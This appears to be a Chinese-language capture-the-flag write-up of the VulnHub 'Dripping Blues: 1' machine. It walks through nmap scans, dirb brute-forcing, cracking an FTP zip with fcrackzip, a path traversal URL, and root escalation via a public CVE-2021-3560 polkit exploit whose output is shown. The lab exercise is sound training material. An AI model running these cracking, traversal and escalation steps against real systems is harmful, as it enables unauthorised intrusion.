- 英文名称:Dripping Blues: 1
- 中文名称:滴水蓝调:1
- 发布日期:2021 年 9 月 19 日
- 难度:容易
- 描述:关于 vm:测试并从 virtualbox 导出。启用 dhcp 和嵌套 vtx/amdv。您可以通过电子邮件与我联系以获取故障排除或问题。
- 下载地址:https://www.vulnhub.com/entry/dripping-blues-1,744/
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
1、主机发现,IP地址为192.168.199.242
nmap -sP 192.168.199.0/24
Nmap scan report for drippingblues.lan (192.168.199.242)
主机发现
2、端口扫描,发现了21、22、80端口
nmap -A 192.168.199.242
端口扫描
3、web访问
web首页
4、目录爆破,发现线索
└─$ dirb http://192.168.199.242/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Aug 21 14:51:29 2022
URL_BASE: http://192.168.199.242/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.199.242/ ----
+ http://192.168.199.242/index.php (CODE:200|SIZE:138)
+ http://192.168.199.242/robots.txt (CODE:200|SIZE:78)
+ http://192.168.199.242/server-status (CODE:403|SIZE:280)
-----------------
END_TIME: Sun Aug 21 14:51:34 2022
DOWNLOADED: 4612 - FOUND: 3
目录爆破
5、线索提示,去计算ssh的密码
ssh线索提示
6、挖掘21端口信息,可以匿名登录,发现respectmydrip.zip文件 ,下载之后,发现需要密码才能打开
ftp匿名登录
7、尝试对文件进行密码破解,这里使用134M的密码本
rockyou.txt密码本
8、启动暴力破解
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip
PASSWORD FOUND!!!!: pw == 072528035
暴力破解密码
9、使用密码,解开压缩包文件,得到一个提示和另一个加密压缩
just focus on "drip"
得到提示和另一个加密压缩包
10、尝试web访问,得到密码imdrippinbiatch
http://192.168.199.242/index.php?drip=../../../../etc/dripispowerful.html
得到线索
11、根据登录页面提示,用户名是thugger
得到用户名
12、ssh登录,拿到普通用户的flag
ssh登录成功
普通用户flag
13、寻找提权点,可疑点/usr/lib/policykit-1/polkit-agent-helper-1
thugger@drippingblues:~$ find / -perm -u=s 2>&1 | grep -v "Permission denied"
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/vmware-user-suid-wrapper
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
存在polkit进程
14、利用polkid提权漏洞[1]
CVE-2021-3560 是对 polkit 的一种身份验证绕过,它允许非特权用户使用 DBus 调用特权方法,在这个漏洞中我们将调用 accountservice 提供的 2 个特权方法(CreateUser 和 SetPassword),这允许我们创建一个特权用户然后为其设置密码,最后以创建的用户身份登录,然后提升为root。
15、scp上传poc脚本
上传poc脚本
16、运行脚本,成功拿到root权限,获得flag
thugger@drippingblues:~$ python3 CVE-2021-3560.py
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original exploit author: Kevin Backhouse
For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
**************
[+] Starting the Exploit
id: ‘ahmed’: no such user
id: ‘ahmed’: no such user
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
........
获得root权限
到此,实验完成~
参考
- ^Polkit-exploit https://github.com/Almorabea/Polkit-exploit
发布于 2022-08-21 16:29